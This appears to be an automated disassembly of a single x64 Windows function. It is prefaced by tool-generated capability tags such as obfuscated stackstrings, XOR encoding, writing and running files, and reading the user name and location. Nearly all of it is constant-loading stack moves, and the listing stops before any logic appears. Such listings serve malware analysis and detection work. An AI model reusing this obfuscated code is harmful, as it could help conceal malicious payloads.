Function at 0x140054080
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Copy file
Create process on windows
Delete directory
Encode data using base64
Encode data using xor
Get common file path
Get geographical location
Get session user name
Manipulate console buffer
Parse pe header
Write and execute a file
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x16bd8
call fcn.140169030
sub rsp, rax
movabs rax, 0x4d1148319550d0a0
mov qword [rsp + 0x46d8], rax
mov eax, 0x42
mov word [rsp + 0x800], ax
movabs rax, 0x67f310811a3643bd
mov qword [rsp + 0x46e0], rax
movabs rax, 0xe0113b561f7865e1
mov qword [rsp + 0x46e8], rax
mov byte [rsp + 0x50], 0x27
mov byte [rsp + 0x51], 1
movabs rax, 0xb478cc98e5026237
mov qword [rsp + 0x46f0], rax
movabs rax, 0x1cbe296c2c7dc4ea
mov qword [rsp + 0x46f8], rax
mov eax, 0x42c0
mov word [rsp + 0x804], ax
mov dword [rsp + 0x2610], 0x5fea8de9
mov eax, 0x698f
mov word [rsp + 0x808], ax
movabs rax, 0xbfdeeb7d42ecfe62
mov qword [rsp + 0x4700], rax
mov dword [rsp + 0x2614], 0x2fe6417f
movabs rax, 0x7e2607e9fbbdc1cb
mov qword [rsp + 0x4708], rax
movabs rax, 0x5d2fb49ae76b745
mov qword [rsp + 0x4710], rax
mov byte [rsp + 0x52], 1
mov eax, 0x3df
mov word [rsp + 0x80c], ax
mov byte [rsp + 0x53], reloc.SHELL32.dll_ILClone
mov eax, 0xc48
mov word [rsp + 0x810], ax
mov eax, 0x3309
mov word [rsp + 0x814], ax
mov dword [rsp + 0x2618], 0x8c91cdf9
mov byte [rsp + 0x54], 0xf4
mov byte [rsp + 0x55], 0x23
mov eax, 0x1396
mov word [rsp + 0x818], ax
mov eax, 0x3c7
mov word [rsp + 0x81c], ax
mov byte [rsp + 0x56], 1
mov eax, 0x6d74
mov word [rsp + 0x820], ax
mov byte [rsp + 0x57], 0x32
mov dword [rsp + 0x261c], 0x240e169f
mov byte [rsp + 0x58], 0x5d
mov dword [rsp + 0x2620], 0x1e630ef5
movabs rax, 0x783744b05093663f
mov qword [rsp + 0x4718], rax
mov eax, 0x3b01
mov word [rsp + 0x824], ax
mov eax, 0x673c
mov word [rsp + 0x828], ax
mov byte [rsp + 0x59], 0x42
mov byte [rsp + 0x5a], reloc.SHELL32.dll_ILFindChild
mov dword [rsp + 0x2624], 0x779a13fd
mov byte [rsp + 0x5b], SHSetInstanceExplorer
mov eax, 0x6d8
mov word [rsp + 0x82c], ax
mov byte [rsp + 0x5c], ILCombine
movabs rax, 0xaea9a180aef365fd
mov qword [rsp + 0x4720], rax
mov dword [rsp + 0x2628], 0x5935f91a
movabs rax, 0x553b40e9de3a2bad
mov qword [rsp + 0x4728], rax
mov byte [rsp + 0x5d], 0x53
mov eax, 0x536a
mov word [rsp + 0x830], ax
mov eax, 0x7b16
mov word [rsp + 0x834], ax
mov dword [rsp + 0x262c], 0x61af9403
mov byte [rsp + 0x5e], 0xc3
movabs rax, 0xfce9a440f16e818f
mov qword [rsp + 0x4730], rax
movabs rax, 0x324fdae38f5d8443
mov qword [rsp + 0x4738], rax
mov byte [rsp + 0x5f], 0xb
mov byte [rsp + 0x60], 0x5f
mov eax, 0x52c3
mov word [rsp + 0x838], ax
mov eax, 0xb4c
mov word [rsp + 0x83c], ax
mov byte [rsp + 0x61], 0x65
mov dword [rsp + 0x2630], 0xc12addb0
mov byte [rsp + 0x62], 0x6f
mov dword [rsp + 0x2634], 0x5109cc9a
mov byte [rsp + 0x63], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x2638], 0x76b143f1
mov dword [rsp + 0x263c], 0xe1e7a6c4
mov eax, 0x5d2a
mov word [rsp + 0x840], ax
mov dword [rsp + 0x2640], 0x15709820
mov eax, 0x9b8
mov word [rsp + 0x844], ax
mov eax, 0xfa4
mov word [rsp + 0x848], ax
movabs rax, 0x66494bef2f56176
mov qword [rsp + 0x4740], rax
mov eax, 0x5ec
mov word [rsp + 0x84c], ax
movabs rax, 0x69ffed72c5ee4dfc
mov qword [rsp + 0x4748], rax
movabs rax, 0x56b4dd31970b9b2b
mov qword [rsp + 0x4750], rax
mov byte [rsp + 0x64], 0x21
mov byte [rsp + 0x65], 0x78
movabs rax, 0x277fc5b2746d5c21
mov qword [rsp + 0x4758], rax
mov byte [rsp + 0x66], 0x94
mov byte [rsp + 0x67], 0x7e
mov eax, 0x6090
mov word [rsp + 0x850], ax
mov eax, 0x1755
mov word [rsp + 0x854], ax
movabs rax, 0x323bfcd531fadc41
mov qword [rsp + 0x4760], rax
mov eax, 0x6f9
mov word [rsp + 0x858], ax
mov eax, 0x5a3
mov word [rsp + 0x85c], ax
mov byte [rsp + 0x68], 0x9c
mov byte [rsp + 0x69], 0xe1
mov dword [rsp + 0x2644], 0x5fbf5a62
mov dword [rsp + 0x2648], 0x26516b48
movabs rax, 0x1d0e7156cb512054
mov qword [rsp + 0x4768], rax
mov eax, 0x31f4
mov word [rsp + 0x860], ax
movabs rax, 0x560c7b97f2e5029f
mov qword [rsp + 0x4770], rax
mov byte [rsp + 0x6a], 0x39
mov dword [rsp + 0x264c], 0x4dea06d1
mov eax, 0x166e
mov word [rsp + 0x864], ax
mov byte [rsp + 0x6b], 0xb9
movabs rax, 0xd089be99a02bf83
mov qword [rsp + 0x4778], rax
mov dword [rsp + 0x2650], 0x1c44a168
mov eax, 0x36b
mov word [rsp + 0x868], ax
mov dword [rsp + 0x2654], 0xdc933d0c
movabs rax, 0xa86047594e4096b
mov qword [rsp + 0x4780], rax
movabs rax, 0x71747a3dd03b5620
mov qword [rsp + 0x4788], rax
mov dword [rsp + 0x2658], 0x72e6f9fb
movabs rax, 0x2f821006bedc03c7
mov qword [rsp + 0x4790], rax
mov dword [rsp + 0x265c], 0x3d557ec2
movabs rax, 0x809f16473178cdf8
mov qword [rsp + 0x4798], rax
movabs rax, 0x6290e6d0f2661d57
mov qword [rsp + 0x47a0], rax
mov dword [rsp + 0x2660], 0xa8ec3ce7
mov eax, 0x2770
mov word [rsp + 0x86c], ax
mov eax, 0x7c80
mov word [rsp + 0x870], ax
mov dword [rsp + 0x2664], 0xcfa743d5
mov dword [rsp + 0x2668], 0x4e681049
mov dword [rsp + 0x266c], 0x6b2271a3
mov eax, 0x4096
mov word [rsp + 0x874], ax
movabs rax, 0xe6ee318d35814689
mov qword [rsp + 0x47a8], rax
mov eax, reloc.SHELL32.dll_SHGetImageList
mov word [rsp + 0x878], ax
movabs rax, 0xaf2bad97d20c5bc8
mov qword [rsp + 0x47b0], rax
movabs rax, 0xfe03affb903df081
mov qword [rsp + 0x47b8], rax
mov byte [rsp + 0x6c], SHDoDragDrop
mov dword [rsp + 0x2670], 0x2fee5820
mov byte [rsp + 0x6d], 0x23
movabs rax, 0x3d031096e5822f45
mov qword [rsp + 0x47c0], rax
mov byte [rsp + 0x6e], 0x7e
mov byte [rsp + 0x6f], 0x70
movabs rax, 0xc3eec3469483dd8
mov qword [rsp + 0x47c8], rax
movabs rax, 0x7c1af14927af584c
mov qword [rsp + 0x47d0], rax
movabs rax, 0xdfd318c0939bc72d
mov qword [rsp + 0x47d8], rax
movabs rax, 0xb20b3def825a9d4b
mov qword [rsp + 0x47e0], rax
mov eax, 0x4d1c
mov word [rsp + 0x87c], ax
mov eax, 0x26e
mov word [rsp + 0x880], ax
mov byte [rsp + 0x70], 0x67
movabs rax, 0xf4046912306bb1a8
mov qword [rsp + 0x47e8], rax
mov byte [rsp + 0x71], ILFree
movabs rax, 0x9eafa19086aadb94
mov qword [rsp + 0x47f0], rax
mov dword [rsp + 0x2674], 0x12c7c2b3
mov byte [rsp + 0x72], 0xb4
mov eax, 0x6b7c
mov word [rsp + 0x884], ax
mov dword [rsp + 0x2678], 0xe569323d
mov dword [rsp + 0x267c], 0x2b0f5ec5
movabs rax, 0x79964469f7f0d863
mov qword [rsp + 0x47f8], rax
mov byte [rsp + 0x73], 0xd3
movabs rax, 0x5117159d4374dfc2
mov qword [rsp + 0x4800], rax
mov byte [rsp + 0x74], 0xfe
mov eax, 0x1a5
mov word [rsp + 0x888], ax
mov dword [rsp + 0x2680], 0xa10d0154
lea rax, [rsp + 0x151f0]
lea rcx, str.Scolder_subregional
mov rdi, rax
mov rsi, rcx
mov ecx, 0x28
rep movsb byte [rdi], byte [rsi]
movabs rax, 0x666bb120de8f02fe
mov qword [rsp + 0x4808], rax
mov byte [rsp + 0x75], 0xed
mov dword [rsp + 0x2684], 0x23223a22
mov dword [rsp + 0x2688], 0x85f6c4f
movabs rax, 0xb539acd5905b4a07
mov qword [rsp + 0x4810], rax
mov dword [rsp + 0x268c], 0x938de7ea
mov byte [rsp + 0x76], 0xf7
mov byte [rsp + 0x77], 0x6a
mov byte [rsp + 0x78], 0x40
mov byte [rsp + 0x79], 0x5b
mov eax, 0x6e90
mov word [rsp + 0x88c], ax
movabs rax, 0x3cecd96cea2f836b
mov qword [rsp + 0x4818], rax
movabs rax, 0x534bd00436e0be66
mov qword [rsp + 0x4820], rax
mov byte [rsp + 0x7a], reloc.SHELL32.dll_ILIsParent
mov eax, 0xb85
mov word [rsp + 0x890], ax
mov dword [rsp + 0x2690], 0x5854afc1
movabs rax, 0xcaf53b7df76cac5a
mov qword [rsp + 0x4828], rax
mov eax, 0x62b8
mov word [rsp + 0x894], ax
mov eax, 0x5b
mov word [rsp + 0x898], ax
mov byte [rsp + 0x7b], 0x4f
mov byte [rsp + 0x7c], 5
mov eax, 0xef9
mov word [rsp + 0x89c], ax
mov eax, 0x95
mov word [rsp + 0x8a0], ax
mov eax, 0xb1a
mov word [rsp + 0x8a4], ax
mov dword [rsp + 0x2694], 0x6ba89c17
mov dword [rsp + 0x2698], 0x75382fc1
mov eax, 0xa09
mov word [rsp + 0x8a8], ax
mov byte [rsp + 0x7d], 0xf3
mov byte [rsp + 0x7e], 0x67
mov eax, 0x4083
mov word [rsp + 0x8ac], ax
mov dword [rsp + 0x269c], 0x7a98ec39
mov eax, 0x260
mov word [rsp + 0x8b0], ax
movabs rax, 0xf0220005d84a3f6f
mov qword [rsp + 0x4830], rax
mov byte [rsp + 0x7f], 0x32
movabs rax, 0x4a85dd59065d0897
mov qword [rsp + 0x4838], rax
movabs rax, 0x29ab7ede2f835fe
mov qword [rsp + 0x4840], rax
movabs rax, 0x1db01dd9ddbdb5c1
mov qword [rsp + 0x4848], rax
mov dword [rsp + 0x26a0], 0x44d0bb3f
mov eax, 0x7acd
mov word [rsp + 0x8b4], ax
mov dword [rsp + 0x26a4], 0x1d845d1e
mov eax, 0x5a1
mov word [rsp + 0x8b8], ax
movabs rax, 0x2a41e37cae568a54
mov qword [rsp + 0x4850], rax
movabs rax, 0x7e373f434355f3c6
mov qword [rsp + 0x4858], rax
movabs rax, 0x5a7673de62516f
mov qword [rsp + 0x4860], rax
mov dword [rsp + 0x26a8], 0x6384614
movabs rax, 0x1363ff597f27d629
mov qword [rsp + 0x4868], rax
mov dword [rsp + 0x26ac], 0x2bffa794
mov eax, 0x464
mov word [rsp + 0x8bc], ax
mov byte [rsp + 0x80], 0xa7
movabs rax, 0x43640ab2bbd9ebc4
mov qword [rsp + 0x4870], rax
mov eax, ILCombine
mov word [rsp + 0x8c0], ax
mov dword [rsp + 0x26b0], 0x7a5a70f2
mov eax, 0x2dc
mov word [rsp + 0x8c4], ax
mov byte [rsp + 0x81], 0x24
mov dword [rsp + 0x26b4], 0x4618d797
movabs rax, 0x1d734f43b583aed
mov qword [rsp + 0x4878], rax
mov dword [rsp + 0x26b8], 0x4d228093
mov byte [rsp + 0x82], reloc.SHELL32.dll_SHDoDragDrop
mov byte [rsp + 0x83], PathYetAnotherMakeUniqueName
mov eax, 0x7ab
mov word [rsp + 0x8c8], ax
mov eax, 0xd5
mov word [rsp + 0x8cc], ax
movabs rax, 0x99248475b3cc8e44
mov qword [rsp + 0x4880], rax
mov eax, 0xa9a
mov word [rsp + 0x8d0], ax
mov dword [rsp + 0x26bc], 0x422d76dd
movabs rax, 0x299d123c7fb39d34
mov qword [rsp + 0x4888], rax
mov dword [rsp + 0x26c0], 0x287fb739
mov eax, 0x23b8
mov word [rsp + 0x8d4], ax
mov byte [rsp + 0x84], 0x7b
mov eax, 0x79c
mov word [rsp + 0x8d8], ax
movabs rax, 0x883638d1d6df086
mov qword [rsp + 0x4890], rax
mov dword [rsp + 0x26c4], 0x44026aa8
mov eax, 0x887
mov word [rsp + 0x8dc], ax
mov eax, 0x3967
mov word [rsp + 0x8e0], ax
mov byte [rsp + 0x85], 0xb1
mov eax, 0x36da
mov word [rsp + 0x8e4], ax
mov byte [rsp + 0x86], 0x4c
movabs rax, 0x672a254b390f512
mov qword [rsp + 0x4898], rax
mov dword [rsp + 0x26c8], 0x2ee27c4f
mov byte [rsp + 0x87], 0xcf
mov dword [rsp + 0x26cc], 0x7eed7537
mov eax, 0xa7a
mov word [rsp + 0x8e8], ax
mov eax, 0x57a5
mov word [rsp + 0x8ec], ax
mov eax, 0x3d9
mov word [rsp + 0x8f0], ax
movabs rax, 0xff74235c4a7d865b
mov qword [rsp + 0x48a0], rax
mov eax, 0x76dd
mov word [rsp + 0x8f4], ax
mov eax, 0x74e
mov word [rsp + 0x8f8], ax
mov dword [rsp + 0x26d0], 0x7dc032ff
movabs rax, 0x17f2bd3701fb9be4
mov qword [rsp + 0x48a8], rax
mov byte [rsp + 0x88], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x26d4], 0x419404be
mov byte [rsp + 0x89], 0x68
mov dword [rsp + 0x26d8], 0x2c33bd40
movabs rax, 0x5e56b7942441da09
mov qword [rsp + 0x48b0], rax
movabs rax, 0x48cd5b32794e5565
mov qword [rsp + 0x48b8], rax
mov eax, 0x7c1f
mov word [rsp + 0x8fc], ax
mov dword [rsp + 0x26dc], 0x1caa6403
movabs rax, 0x6c52ab64b49bab9c
mov qword [rsp + 0x48c0], rax
mov eax, 0x6de9
mov word [rsp + 0x900], ax
mov byte [rsp + 0x8a], 0xea
mov byte [rsp + 0x8b], 0x3e
mov eax, 0xe80
mov word [rsp + 0x904], ax
mov dword [rsp + 0x26e0], 0x2951e5b
movabs rax, 0x5b14f668c80623a0
mov qword [rsp + 0x48c8], rax
mov byte [rsp + 0x8c], 0x36
mov byte [rsp + 0x8d], 8
mov dword [rsp + 0x26e4], 0x34b68be9
mov dword [rsp + 0x26e8], 0x251fae57
movabs rax, 0x3df151e34f290c9b
mov qword [rsp + 0x48d0], rax
mov dword [rsp + 0x26ec], 0x77139aa
mov eax, 0x26a7
mov word [rsp + 0x908], ax
mov eax, 0x8b3
mov word [rsp + 0x90c], ax
mov dword [rsp + 0x26f0], 0x2edbbcad
mov byte [rsp + 0x8e], 0x92
mov byte [rsp + 0x8f], 0x6b
mov dword [rsp + 0x26f4], 0xc7a11bd
mov dword [rsp + 0x26f8], 0xa41b17d7
mov eax, 0x95f
mov word [rsp + 0x910], ax
movabs rax, 0x8f19f2d4cc59cf41
mov qword [rsp + 0x48d8], rax
mov byte [rsp + 0x90], 0x83
mov eax, 0x69
mov word [rsp + 0x914], ax
mov eax, 0x109
mov word [rsp + 0x918], ax
mov byte [rsp + 0x91], 0x64
mov dword [rsp + 0x26fc], 0x141f73fb
mov eax, 0xb87
mov word [rsp + 0x91c], ax
mov byte [rsp + 0x92], 0x6a
mov eax, 0x751
mov word [rsp + 0x920], ax
mov byte [rsp + 0x93], reloc.SHELL32.dll_SHDoDragDrop
mov eax, 0xccf
mov word [rsp + 0x924], ax
mov dword [rsp + 0x2700], 0x6709e63
movabs rax, 0x73b1e6e60a988622
mov qword [rsp + 0x48e0], rax
mov byte [rsp + 0x94], 0x78
mov dword [rsp + 0x2704], 0xde97df55
mov dword [rsp + 0x2708], 0xfa624bf8
mov dword [rsp + 0x270c], 0x76e8ee96
mov eax, 0xf1
mov word [rsp + 0x928], ax
mov eax, 0x1ba8
mov word [rsp + 0x92c], ax
mov dword [rsp + 0x2710], 0xbd0c0b73
mov byte [rsp + 0x95], 0x33
mov eax, 0x7e8
mov word [rsp + 0x930], ax
movabs rax, 0x239958dbd22ceae
mov qword [rsp + 0x48e8], rax
mov byte [rsp + 0x96], 6
movabs rax, 0xb958f156992012de
mov qword [rsp + 0x48f0], rax
movabs rax, 0x684cb64f7b8bdd52
mov qword [rsp + 0x48f8], rax
mov dword [rsp + 0x2714], 0x74d78937
mov byte [rsp + 0x97], 0xc1
mov dword [rsp + 0x2718], 0xc81e9337
mov dword [rsp + 0x271c], 0x31754b43
movabs rax, 0x16096a72f12e0977
mov qword [rsp + 0x4900], rax
mov byte [rsp + 0x98], 0x75
mov eax, 0x275
mov word [rsp + 0x934], ax
movabs rax, 0x1d4bc7a9619e306f
mov qword [rsp + 0x4908], rax
mov byte [rsp + 0x99], ILFree
mov byte [rsp + 0x9a], 0x7c
mov byte [rsp + 0x9b], 0xcd
mov dword [rsp + 0x2720], 0xac0e9857
mov byte [rsp + 0x9c], ILCombine
mov byte [rsp + 0x9d], 0x9d
mov eax, 0xa11
mov word [rsp + 0x938], ax
mov dword [rsp + 0x2724], 0x6aa46933
movabs rax, 0x2cec3096267612bd
mov qword [rsp + 0x4910], rax
mov byte [rsp + 0x9e], 0x77
movabs rax, 0x1e908c71d005f3ff
mov qword [rsp + 0x4918], rax
mov byte [rsp + 0x9f], 0xcf
mov eax, 0x68af
mov word [rsp + 0x93c], ax
movabs rax, 0x4f417bb77a4562ac
mov qword [rsp + 0x4920], rax
mov byte [rsp + 0xa0], 8
mov dword [rsp + 0x2728], 0x6458e875
mov dword [rsp + 0x272c], 0x1c6997a6
mov dword [rsp + 0x2730], 0xfe25ca70
mov dword [rsp + 0x2734], 0xebff66d5
movabs rax, 0x73328599507d7fcb
mov qword [rsp + 0x4928], rax
mov dword [rsp + 0x2738], 0x7e46744
mov byte [rsp + 0xa1], 0xe8
mov dword [rsp + 0x273c], 0x6942a79b
mov dword [rsp + 0x2740], 0xbe3098c5
mov eax, 0x5ff9
mov word [rsp + 0x940], ax
mov byte [rsp + 0xa2], 0x33
mov eax, 0x5fb
mov word [rsp + 0x944], ax
mov dword [rsp + 0x2744], 0x25ca3473
mov byte [rsp + 0xa3], 0x32
mov dword [rsp + 0x2748], 0x2de3980e
mov byte [rsp + 0xa4], 0x31
mov eax, 0x394
mov word [rsp + 0x948], ax
mov dword [rsp + 0x274c], 0x14d05695
mov eax, 0xe7f
mov word [rsp + 0x94c], ax
mov byte [rsp + 0xa5], 0x78
mov eax, 0xc07
mov word [rsp + 0x950], ax
mov dword [rsp + 0x2750], 0x18d5684c
movabs rax, 0x356f1a41e053b0b4
mov qword [rsp + 0x4930], rax
mov eax, 0x94a
mov word [rsp + 0x954], ax
mov eax, 0xf4f
mov word [rsp + 0x958], ax
mov dword [rsp + 0x2754], 0x4d0279b
mov eax, 0x372f
mov word [rsp + 0x95c], ax
movabs rax, 0xf4c61033e0e36aa8
mov qword [rsp + 0x4938], rax
mov dword [rsp + 0x2758], 0xc982feb7
mov byte [rsp + 0xa6], 0x67
movabs rax, 0x2a33e20117d460c5
mov qword [rsp + 0x4940], rax
mov dword [rsp + 0x275c], 0x2e526fb4
movabs rax, 0x107a19c144ad18ee
mov qword [rsp + 0x4948], rax
movabs rax, 0xef6c0a77ed4d424f
mov qword [rsp + 0x4950], rax
mov dword [rsp + 0x2760], 0xcd9d7f93
mov byte [rsp + 0xa7], 0x71
mov dword [rsp + 0x2764], 0x70112909
movabs rax, 0x6a9330502b4c022a
mov qword [rsp + 0x4958], rax
movabs rax, 0x41207423d0b430c4
mov qword [rsp + 0x4960], rax
mov byte [rsp + 0xa8], 0xc5
mov dword [rsp + 0x2768], 0x3a373dd6
mov dword [rsp + 0x276c], 0x202e4c71
mov dword [rsp + 0x2770], 0x1881628f
mov dword [rsp + 0x2774], 0x97f9cd3c
mov dword [rsp + 0x2778], 0x643ec19d
movabs rax, 0x473f3095d57af768
mov qword [rsp + 0x4968], rax
mov byte [rsp + 0xa9], 0x22
movabs rax, 0xa3eb999e053a3af7
mov qword [rsp + 0x4970], rax
mov dword [rsp + 0x277c], 0x384c9cf8
mov byte [rsp + 0xaa], 0xe9
movabs rax, 0xd1974c9623f21ec7
mov qword [rsp + 0x4978], rax
mov dword [rsp + 0x2780], 0x6b9b2311
mov dword [rsp + 0x2784], 0x40e1d2b8
mov eax, 0xe8c
mov word [rsp + 0x960], ax
movabs rax, 0xed030a3ede535fc4
mov qword [rsp + 0x4980], rax
mov dword [rsp + 0x2788], 0x5c05d5ed
mov eax, 0xf55
mov word [rsp + 0x964], ax
mov byte [rsp + 0xab], SHDoDragDrop
mov byte [rsp + 0xac], 0x4e
movabs rax, 0x5f23b27e43a41a43
mov qword [rsp + 0x4988], rax
mov byte [rsp + 0xad], 0x7a
mov eax, 0x19f9
mov word [rsp + 0x968], ax
movabs rax, 0xf224770a87c5764f
mov qword [rsp + 0x4990], rax
movabs rax, 0xe9a559d2470d6bf
mov qword [rsp + 0x4998], rax
movabs rax, 0x69a06da8eb5ef07d
mov qword [rsp + 0x49a0], rax
mov eax, 0x40a9
mov word [rsp + 0x96c], ax
mov eax, 0x2a87
mov word [rsp + 0x970], ax
mov dword [rsp + 0x278c], 0x6ede323f
movabs rax, 0x447f954df1d0db3a
mov qword [rsp + 0x49a8], rax
movabs rax, 0x92c404e070e5fbb0
mov qword [rsp + 0x49b0], rax
mov byte [rsp + 0xae], 0x20
mov byte [rsp + 0xaf], 0xf7
movabs rax, 0x645104a15025a346
mov qword [rsp + 0x49b8], rax
mov byte [rsp + 0xb0], 0x27
mov byte [rsp + 0xb1], 0x9d
mov dword [rsp + 0x2790], 0x19fc4ed0
mov eax, 0x1078
mov word [rsp + 0x974], ax
mov eax, 0x6e22
mov word [rsp + 0x978], ax
mov byte [rsp + 0xb2], reloc.SHELL32.dll_ILFindChild
mov eax, 0x43fe
mov word [rsp + 0x97c], ax
mov byte [rsp + 0xb3], 0x3c
mov dword [rsp + 0x2794], 0x4f066528
mov eax, 0x17ae
mov word [rsp + 0x980], ax
mov dword [rsp + 0x2798], 0x32f689f3
movabs rax, 0x1272564096d441b
mov qword [rsp + 0x49c0], rax
mov eax, 0x400e
mov word [rsp + 0x984], ax
mov byte [rsp + 0xb4], 4
mov eax, 0xd92
mov word [rsp + 0x988], ax
movabs rax, 0x77a004c682fcf7aa
mov qword [rsp + 0x49c8], rax
mov eax, 0x306b
mov word [rsp + 0x98c], ax
movabs rax, 0x1df643e45cd34fee
mov qword [rsp + 0x49d0], rax
mov byte [rsp + 0xb5], 0x77
movabs rax, 0xc9467636fcfe6399
mov qword [rsp + 0x49d8], rax
mov byte [rsp + 0xb6], 0x62
mov eax, 0xb06
mov word [rsp + 0x990], ax
mov dword [rsp + 0x279c], 0x2d3c6738
movabs rax, 0x9a8a2432dbfd3c04
mov qword [rsp + 0x49e0], rax
mov byte [rsp + 0xb7], 0xf7
movabs rax, 0x5dd47b2e177b1d14
mov qword [rsp + 0x49e8], rax
mov byte [rsp + 0xb8], 0x5a
mov dword [rsp + 0x27a0], 0x6fb3a9d1
mov eax, 0x554
mov word [rsp + 0x994], ax
movabs rax, 0x30412a59e84982e8
mov qword [rsp + 0x49f0], rax
mov eax, 0xb1b
mov word [rsp + 0x998], ax
mov dword [rsp + 0x27a4], 0x56cd1775
mov byte [rsp + 0xb9], 3
mov dword [rsp + 0x27a8], 0x65201c9
mov eax, 0x7ba
mov word [rsp + 0x99c], ax
movabs rax, 0x8435f28cc661c7ce
mov qword [rsp + 0x49f8], rax
mov byte [rsp + 0xba], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov byte [rsp + 0xbb], 0x7a
movabs rax, 0x43bedb7fac43014c
mov qword [rsp + 0x4a00], rax
mov dword [rsp + 0x27ac], 0x6b31e6a5
mov byte [rsp + 0xbc], ILClone
mov eax, 0x75ae
mov word [rsp + 0x9a0], ax
movabs rax, 0x43b6c9157303df94
mov qword [rsp + 0x4a08], rax
mov byte [rsp + 0xbd], 0xcd
movabs rax, 0x65ee683df06fc14f
mov qword [rsp + 0x4a10], rax
mov byte [rsp + 0xbe], PathYetAnotherMakeUniqueName
mov eax, 0x5bd
mov word [rsp + 0x9a4], ax
movabs rax, 0x40ecfd32e4e37e2d
mov qword [rsp + 0x4a18], rax
mov byte [rsp + 0xbf], 0xa8
mov byte [rsp + 0xc0], 0x34
mov dword [rsp + 0x27b0], 0xe32d37be
mov byte [rsp + 0xc1], 0x7e
mov byte [rsp + 0xc2], 0x26
movabs rax, 0xc2c15586cc862d4
mov qword [rsp + 0x4a20], rax
movabs rax, 0x65a9f70b19de5098
mov qword [rsp + 0x4a28], rax
movabs rax, 0xba3a9dffc9220b92
mov qword [rsp + 0x4a30], rax
mov byte [rsp + 0xc3], 0xa
mov dword [rsp + 0x27b4], 0x5ca3c617
mov byte [rsp + 0xc4], 0x38
mov dword [rsp + 0x27b8], 0xa2108c67
mov dword [rsp + 0x27bc], 0xec772901
movabs rax, 0xf1dd67e69b97784
mov qword [rsp + 0x4a38], rax
mov dword [rsp + 0x27c0], 0xc20772c0
mov byte [rsp + 0xc5], PathMakeUniqueName
mov byte [rsp + 0xc6], 0x59
movabs rax, 0x3564e049dd8452f2
mov qword [rsp + 0x4a40], rax
movabs rax, 0x4a9a7c1787871e7f
mov qword [rsp + 0x4a48], rax
mov eax, 0x6563
mov word [rsp + 0x9a8], ax
mov eax, 0x43aa
mov word [rsp + 0x9ac], ax
movabs rax, 0x7c6f6603d0c58b3a
mov qword [rsp + 0x4a50], rax
mov eax, 0xc1f
mov word [rsp + 0x9b0], ax
movabs rax, 0x4fe10b12e329d0cc
mov qword [rsp + 0x4a58], rax
mov eax, 0x3261
mov word [rsp + 0x9b4], ax
movabs rax, 0xa7bc333b66968644
mov qword [rsp + 0x4a60], rax
mov eax, 0x437
mov word [rsp + 0x9b8], ax
mov dword [rsp + 0x27c4], 0x3eee8800
mov dword [rsp + 0x27c8], 0xd56df55
movabs rax, 0xf1ef42ec476f5b40
mov qword [rsp + 0x4a68], rax
mov byte [rsp + 0xc7], 0x42
mov dword [rsp + 0x27cc], 0x2f62cefc
mov dword [rsp + 0x27d0], 0x1ac821fd
mov eax, 0x2898
mov word [rsp + 0x9bc], ax
mov byte [rsp + 0xc8], 0xd1
movabs rax, 0x313c65f11a6bff78
mov qword [rsp + 0x4a70], rax
mov dword [rsp + 0x27d4], 0x96c729e6
movabs rax, 0x68a86527d963b97c
mov qword [rsp + 0x4a78], rax
mov dword [rsp + 0x27d8], 0xe2cd95d6
mov eax, 0x376
mov word [rsp + 0x9c0], ax
mov eax, 0xd34
mov word [rsp + 0x9c4], ax
mov dword [rsp + 0x27dc], 0x213b683
mov eax, 0xbfc
mov word [rsp + 0x9c8], ax
mov dword [rsp + 0x27e0], 0xa735821f
mov byte [rsp + 0xc9], 0x72
mov eax, 0x799c
mov word [rsp + 0x9cc], ax
mov byte [rsp + 0xca], 0x86
movabs rax, 0xe82ac6e24f1f7ef0
mov qword [rsp + 0x4a80], rax
mov byte [rsp + 0xcb], 0x1e
movabs rax, 0xc1ae71ad19027bcd
mov qword [rsp + 0x4a88], rax
mov byte [rsp + 0xcc], 0x23
mov eax, ILIsParent
mov word [rsp + 0x9d0], ax
movabs rax, 0xf1308d84e76a9fbf
mov qword [rsp + 0x4a90], rax
mov dword [rsp + 0x27e4], 0xed39b27
mov eax, 0x380c
mov word [rsp + 0x9d4], ax
mov eax, 0x6e2f
mov word [rsp + 0x9d8], ax
mov dword [rsp + 0x27e8], 0xa2567847
mov eax, 0x2ef8
mov word [rsp + 0x9dc], ax
mov eax, 0x9d4
mov word [rsp + 0x9e0], ax
mov eax, 0xb18
mov word [rsp + 0x9e4], ax
mov dword [rsp + 0x27ec], 0x1839ac7b
movabs rax, 0x1352050b9692bd6f
mov qword [rsp + 0x4a98], rax
mov byte [rsp + 0xcd], 0x91
mov dword [rsp + 0x27f0], 0x7bd1a610
mov dword [rsp + 0x27f4], 0xa19d8b21
mov eax, 0x18d2
mov word [rsp + 0x9e8], ax
mov eax, 0xf05
mov word [rsp + 0x9ec], ax
mov byte [rsp + 0xce], 0xe1
mov eax, 0x3d16
mov word [rsp + 0x9f0], ax
mov byte [rsp + 0xcf], reloc.SHELL32.dll_ILFindLastID
movabs rax, 0x2099e17c82cd6898
mov qword [rsp + 0x4aa0], rax
mov dword [rsp + 0x27f8], 0x62a44557
mov dword [rsp + 0x27fc], 0xbc050640
movabs rax, 0x29362fef0484d59d
mov qword [rsp + 0x4aa8], rax
movabs rax, 0x14fc647ef119be4c
mov qword [rsp + 0x4ab0], rax
mov dword [rsp + 0x2800], 0xc6b86cdd
mov eax, 0xcdb
mov word [rsp + 0x9f4], ax
mov dword [rsp + 0x2804], 0xf7c760d
mov byte [rsp + 0xd0], SHUpdateImageW
movabs rax, 0x3d153ffef4d1e72b
mov qword [rsp + 0x4ab8], rax
movabs rax, 0x3cc0eb55f2b2cde
mov qword [rsp + 0x4ac0], rax
movabs rax, 0x52518e5bc617e0bf
mov qword [rsp + 0x4ac8], rax
mov dword [rsp + 0x2808], 0x34f73a53
mov byte [rsp + 0xd1], PathYetAnotherMakeUniqueName
mov byte [rsp + 0xd2], 0x7c
mov dword [rsp + 0x280c], 0x297fe0b1
mov eax, 0xd89
mov word [rsp + 0x9f8], ax
mov dword [rsp + 0x2810], 0x44a49aeb
mov eax, 0x7f56
mov word [rsp + 0x9fc], ax
mov byte [rsp + 0xd3], 0x43
mov dword [rsp + 0x2814], 0xda7dcfca
mov byte [rsp + 0xd4], 2
